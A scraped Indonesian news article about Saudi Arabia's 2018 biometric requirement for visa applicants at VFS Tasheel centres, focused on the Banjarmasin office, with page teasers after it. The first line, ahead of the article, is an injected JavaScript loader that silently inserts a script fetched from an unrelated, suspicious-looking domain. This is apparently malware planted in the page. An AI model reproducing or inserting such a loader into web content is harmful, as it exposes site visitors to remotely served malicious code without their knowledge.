(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kewajiban melakukan perekaman biometrik (sidik jari dan retina mata) bagi pemohon Visa ke Saudi Arabia di kantor-kantor Visa Facilitation Services (VSF) Tasheel atau Pusat Layanan Visa untuk Arab Saudi yang telah ditunjuk oleh Kedutaan Besar Saudi Arabia untuk Indonesia. Kebijakan tersebut merupakan kedaulatan mutlak (Absolute Sovereignty) Keimigrasian setempat yang harus dihormati.
Demikian disampaikan Kepala Divisi Keimigrasian Kalsel Dodi Karnida, Rabu (19/12), menanggapi ketentuan dari Imigasi Arab Saudi yang diterapkan mulai 17 Desember 2018. Dimana ada kewajiban bagi para pemohon visa untuk melakukan perekaman biometrik yang hasilnya merupakan syarat untuk mengajukan permohonan visa.
VFS Tasheel sendiri di Kalimantan Selatan hanya ada satu yaitu terletak di Kantor Pos Teluk Tiram-Banjarmasin Selatan yang pada hari ini ditinjau langsung oleh Kepala Kantor Imigrasi Banjarmasin Syahrifullah beserta stafnya Kasubsi Intelijen Prabowo Putera dan Kasubsi Informasi Iman Kumontoy.
“Pelayanan di Tasheel pada hari ini hanya melayani sebanyak 6 orang sedangkan hari sebelumnya melayani sebanyak 60 orang Calon Jemaah Umroh (CJU),†ujar Syahrifullah.
Adapun prosedur yang ditempuh oleh pemohon visa adalah membuat surat janji temu dengan cara mendaftarkan diri melalui website http://.vfstasheel.com/landing.html#/home/index
Setelah itu pemohon harus mencetak hasil surat janji temu tersebut. Kemudian, sesuai dengan jadwal yang tertera dalam surat dimaksud, agar datang ke Kantor Tasheel dengan membawa paspor asli dan 1 berkas foto copy paspor.
Pemohon agar hadir 30 menit sebelum jadwal yang telah ditentukan dan jika terlambat selama 30 menit atau lebih, pemohon dianggap mengundurkan diri dan baru dapat mengajukan permohonan lagi 3 hari kemudian. Sebelum melakukan perekaman biometrik, pemohon juga diharuskan membayar biaya sebesar biaya yang tercantum dalam surat janji temu yaitu sekitar Rp 120 ribu. Sedangkan lama perekaman biometrik setiap orang berkisar selama 15 menit.
Jika telah selesai melakukan perekaman biometrik, maka kepada pemohon diberikan tanda bukti yang harus dilampirkan bersama paspor untuk ke tahap berikutnya yaitu memohon visa yg dilakukan pemohob sendiri/biro jasa ke kantor Visa Saudi Arabia di Jakarta.
Lebih lanjut Dodi menyatakan, ketentuan keimigrasian Saudi Arabia ini mulai diberlakukan pada tahun 2017 di seluruh dunia. Namun karena kebijakan ini dirasa telah memberatkan jamaah, maka pada tanggal 2 Januari 2018 Kemenlu telah mengirim surat kepada Duta Besar Arab Saudi di Jakarta untuk memohon agar ditinjau kembali. Mengingat jamaah dari Indonesia pertahun itu hampir berjumlah 1 juta orang yang terdiri atas sekitar 800.000 CJU dan 210.000 CJH yg tersebar dalam 514 Kabupaten/Kota.
“Ketentuan ini memang cukup memberatkan karena masyarakat pemohon visa itu kan banyak juga yg tinggal di daerah terpencil bahkan di pulau-pulau yg jauh letaknya dari Kantor Tasheel,†ungkapnya.
Di Kalsel sendiri, dengan mengutip data yang disampaikan oleh Kakanwil Kemenag Kalimantan Selatan yang disampaikan dalam acara Jamarah (Jagong Masalah Umroh dan Haji) yang diselenggarakan Kementerian Agama di Banjarmasin, Selasa (18/12), per tanggal 17 Desember 2018 pukul 12.00 wita terdaftar sebanyak 109.305 CJH dengan perkiraan masa tunggu selama 29 tahun. Sedangkan untuk tahun 2019, jumlah CJH ialah sebanyak 3.799 orang dan 32 Petugas Haji.
Dodi menyampaikan optimismenya bahwa ia percaya pemerintah akan mengusahakan pilihan terbaik bagi masyarakatnya yaitu dengan melakukan pendekatan kepada Pemerintah Arab Saudi yaitu Kementerian Haji agar kebijakan tersebut tidak terlalu memberatkan masyarakat. Misalnya dengan cara menambah jumlah VSF Tasheel terutama di kota-kota yang jumlah CJUnya banyak seperti di Banjarmasin ini. Kalau perlu kantor dimaksud letaknya berdekatan dengan kantor imigrasi agar memudahkan kordinasinya dan meringankan beban masyarakat.
“Bisa juga pemerintah kita memohon kepada Pemerintah Saudi Arabia agar perekaman biometrik bagi CJU ini dilaksanakan di bandara pemberangkatan tertentu seperti halnya pada tahun ini kebijakan tersebut telah dilaksanakn terhadap Calon Jamaah Haji (CJH) di beberapa Asrama Haji sebelum CJH itu berangkat sehingga ketika tiba di Arab Saudi, agar para CJH itu hanya sepintas diperiksa oleh petugas imigrasi di Saudi Arabia dan dapat langsung mengambil kopor/barang bawaannya untuk kemudian langsung menuju hotel guna beristirahat,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.